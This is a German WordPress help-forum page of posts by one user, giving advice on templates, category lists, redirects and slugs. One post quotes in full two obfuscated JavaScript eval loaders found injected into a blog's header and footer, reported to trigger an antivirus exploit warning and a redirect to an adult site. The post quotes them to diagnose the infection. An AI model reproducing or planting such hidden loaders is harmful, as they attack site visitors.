Beiträge von marX
-
-
Keine Ahnung, irgendwo im Template der Sidebar vermutlich. Ich kenn ja dein Theme nicht.
-
Ja. Zum Beispiel ganz ans Ende.
-
-
-
Schau dir mal das hier an:
WordPress › Page Links To WordPress Plugins
Vielleicht hilft dir das ja.Ansonsten würde mir der folgende Weg einfallen:
- Beim Aufruf einer Seite prüfen (z.B. im Template), ob diese Seite Unterseiten hat: get_pages()
- Wenn Unterseiten gefunden, dann per header() weiterleiten zur URL der 1. von get_pages() gefundenen Unterseite.
Das wäre der aufwändigere, aber dynamische Weg. -
-
Klar, kein Problem:
Apache ConfigurationRewriteEngine on RewriteCond %{HTTP_HOST} ^blogvon.janwege.net$ [NC] RewriteRule ^(.*)$ http://janwege.net/$1 [R=301,L]
Das kommt an den Anfang der .htaccess - vor den WP-Block!(Probier mal, ich hab das jetzt aus dem Kopf aufgeschrieben und nicht getestet. ;-))
-
wp_list_*() gibt (semantisch korrekt) eine HTML-Liste aus. Die kann natürlich nicht einfach mitten in einer Tabelle stehen.
Jetzt weiß ich natürlich nicht, was der ursprüngliche Theme-Entwickler da gemacht hat. Möglicherweise hat er wp_list_cats() usw. mit eigenen Funktionen überschrieben, die eine <table>-Ausgabe erzielen. Sowas müsste man u.U. nachbauen. WP stellt Funktionen bereit um das (mehr oder weniger) sauber zu lösen. Für die Kategorien z.B. get_categories(). Darauf aufbauend müsste man eine eigene Ausgabefunktion schreiben (in der functions.php des Themes) und den Aufruf von wp_list_cats() im Theme mit der eigenen Funktion ersetzen.
Vielleicht reicht es aber auch, die Funktion so einzusetzen:
PHP
Alles anzeigen<tr> <td align="left" valign="middle" bgcolor="#B5B59A" colspan="3"><img src="http://www.elterntreff.de/wp-content/themes/aalglatt_german/images/dummy.gif" width="1" height="2" border="0"></td> </tr> [COLOR="Red"]<tr> <td align="left" valign="middle" bgcolor="#B5B59A" colspan="3"> <?php wp_list_[B]categories[/B](); ?> </td> </tr>[/COLOR] <tr> <td align="left" valign="middle" bgcolor="#B5B59A" colspan="3"><img src="http://www.elterntreff.de/wp-content/themes/aalglatt_german/images/dummy.gif" width="1" height="2" border="0"></td> </tr> -
hier der aktuelle code:
Mmh? Da ist doch gar nichts geändert?So müsste es passen (Änderungen markiert):
PHP
Alles anzeigen<div id="left_bar" class="sidebar"> <ul class="sidebar_list"> <li class="widget"> <h2>Auswahl</h2> <ul> <?php wp_list_categories('title_li='); ?> </ul> </li> <?php if ( is_category() || is_single() ) : ?> <li class="widget"> <h2> <?php foreach((get_the_category()) as $category) { echo $category->cat_name . ' '; $categoryvariable = $category->term_[COLOR="red"][B]id[/B][/COLOR]; } ?> </h2> <?php endif; ?> <?php if ( is_category() ) { $categoryvariable=$cat; // assign the variable as current category } $query= 'cat=' . $categoryvariable. '&orderby=date&order=ASC'; // concatenate the query $postsInCat = new WP_Query($query); // run the query ?> <?php if ( is_category() || is_single() ) : ?> <ul> <?php while ($postsInCat->have_posts()) : $postsInCat->the_post(); ?> <li><a href="<?php the_permalink() ?>"><?php the_title(); ?></a></li> <?php endwhile;?> </ul> <?php endif; ?> </li> <?php $childcats = wp_list_categories('title_li=&child_of=' . $categoryvariable . '&echo=0'); ?> <?php if ($[COLOR="Red"]childcats[/COLOR]) : ?> <ul><?php echo $[COLOR="#ff0000"]childcats[/COLOR]; ?></ul> <?php endif; ?> </div> -
Solange die Seite keine rechtswidrigen oder pornografischen Inhalte enthält darfst den Link natürlich posten. Siehe auch Forenregeln "Was in einen Beitrag gehört". ;-)
An einer Stelle stehts noch, und zwar in der linken Sidebar bei den Seiten. Das ist kein Widget oder? Dann wirst du das sicher in der Template-Dateie für die linke Sidebar finden. Sollte ähnlich aussehen.
Unterseiten hab ich mir jetzt nicht angesehen.
-
Mein Antivir springt auch an, irgendwas mit Flash Exploit schreit er. Ignoriere ich die Warnung, dann leitet mich dein Blog auf eine andere Seite (h**p://mysexydreams*net/img/stat/404.php) weiter. Könnte es etwa was mit dem Code im Footer zu tun haben?
HTML<script language=JavaScript> function zbnb25(z) { var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,61,14,29,24,55,3,44,20,43,0,0,0,0,0,0,37,32,18,1,12,11,21,19,13,7,62,42,25,56,28,47,9,34,51,23,59,36,0,45,46,39,38,0,0,0,0,8,0,41,48,10,6,40,17,49,33,27,53,54,15,4,5,2,16,22,26,50,58,30,31,60,52,57,35);for(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(167^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}zbnb25('pTNs6zDxPB1xdlWx89PAzzNso6_Y6zDgB97bPl3QpSWRGEwzVXaRCSWgcEwhPi7so9yYGJy@IB3jm9Lhll1xS5PQ_oPjSE7b6YeRPIDs_2HQ4o_zKiwxlY4j_E3s60etdl1RPqWgPlDsc0ezHJyYp2azDoMYGJy@Vs_Anu_x2lwxl9a@SqyhlE7RV0wxrJPUIB1xuO7brqMb2G1jEi753ZDsPENhLXPQ2INjd97bLoez') </script><!-- 62.26.219.193 -->
Hab mir jetzt nicht die Mühe gemacht, das zu entschlüsseln. Sollte aber bspw. mit Firebug recht schnell gehen. Schau mal anch ob das beabsichtigt ist bzw. wo das her kommt. Möglicherweise hängt sich da ein bösartiges Script in den wp_footer-Hook ein.Nachtrag: im Header ist was ähnliches (gleiches?) zu finden, direkt nach <body>:
HTML<script language=JavaScript>function xfibnb25(z){var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,54,24,15,49,58,50,35,43,19,0,0,0,0,0,0,41,53,46,12,60,47,57,27,16,18,39,44,31,10,11,42,1,22,45,5,6,61,17,55,59,28,13,0,0,0,0,14,0,8,9,21,30,3,2,51,32,48,37,62,4,29,56,23,7,38,20,25,40,52,26,36,33,34,0);for(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(173^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}xfibnb25('v9DibNK1e5m1CJZ1de@y@NDia8tjbNKg2eC6eJUhv0Z4s7YxMTb4N0Zgz7Y7egCiaebJ_osJbWtWLXCw3QY1sWUjfMtqdWZ6aJDhl3D6fN21fM@yTf_gsoDhLNC1eJYxhgY1S3nWC3Y6feYxldnqc5bJlvtyY5YjmqKyTOn7ZOZ4bJm4HIbjZQC6l8Y4seFqr1tWs9miaeF7b9KWmpCgrLFif3C63_swfID6LgCia3@ylf') </script><!-- 62.26.219.193 --> -
Muß ich da was im Header ändern und wie ?
Ja, hier ist der von mit angesprochene Code:PHP<h1>[COLOR="Blue"]<a href="<?php echo get_settings('home'); ?>[SIZE="4"][B][COLOR="Red"]/[/COLOR][/B][/SIZE]">[/COLOR]<?php bloginfo('name'); ?></a></h1>
Den rot markierten Schrägstrich fügst du ein. (Im Header ist das die einzige Stelle die ich gefunden habe. Obs noch mehr gibt kann ich ohne Link zur Seite nicht sagen.)Bitte beim nächsten Mal beachten: http://forum.wordpress-deutschland.org/plugins-und-wi…-den-posts.html
-
Wie gesagt, dann ist der Link zur Home-Seite kaputt. Das ist Theme-Sache, WP an sich kennt keinen "Home-Link", nur eine "Blog-URL" - und die enthält keinen abschließenden Schrägstrich. Die Links zu Home sind im Theme vermutlich so eingetragen:
Da müsste jeweils noch der Schrägstrich für das Root-Verzeichnis angefügt werden. -
Das ist der lange Gedankenstrich im Titel. Der wird nicht "sanitisiert" (also "schön gemacht" auf gut deutsch). Nimm im Titel einfach einen normalen Bindestrich "-", das ist wohl die einfachste Lösung. Du kannst auch den Permalinknamen des Artikels (Slug) nachträglich ändern.
-
(URL per PM)
Irgendwie wird die Kategorievariable nicht bzw. falsch gesetzt. Und ich weiß auch warum. Hier:
PHP<?php foreach((get_the_category()) as $category) { echo $category->cat_name . ' '; $categoryvariable = $category->term_[COLOR="Red"][B]ID[/B][/COLOR]; } ?>
Das muss "term_[COLOR="#ff0000"]id[/COLOR]" heißen. Da hab ich mich verlesen. Steht ja auch korrekt im Codex...Zitat von Codexcat_ID
the category id (also stored as 'term_[COLOR="#ff0000"]id[/COLOR]')
Änder das mal, dann müsste es gehen.Wegen den Unterkategorien. Da ists wohl dasselbe...
PHP<?php [COLOR="#ff0000"]$childcats[/COLOR] = wp_list_categories('title_li=&child_of=' . $categoryvariable . '&echo=0'); ?> <?php if ([COLOR="Blue"]$children[/COLOR]) : ?> <ul><?php echo [COLOR="#0000ff"]$children[/COLOR]; ?></ul> <?php endif; ?>
Sorry, ebenfalls mein Fehler... :oops: -
Siehe hier:
Template Tags/query posts WordPress CodexAlso:
-
Ja, schrieb ich doch. ;-) Über den width-Parameter.
-
-
Dafür gibts das Autorentemplate, ist ja dort auch verlinkt.
Author Templates WordPress CodexAlso legst du dir eine author.php an (z.B. archive.php kopieren) und füllst diese mit den Infos, die du ausgeben möchtest. Ist ja im Codex alles mit Beispielen erklärt. ;-)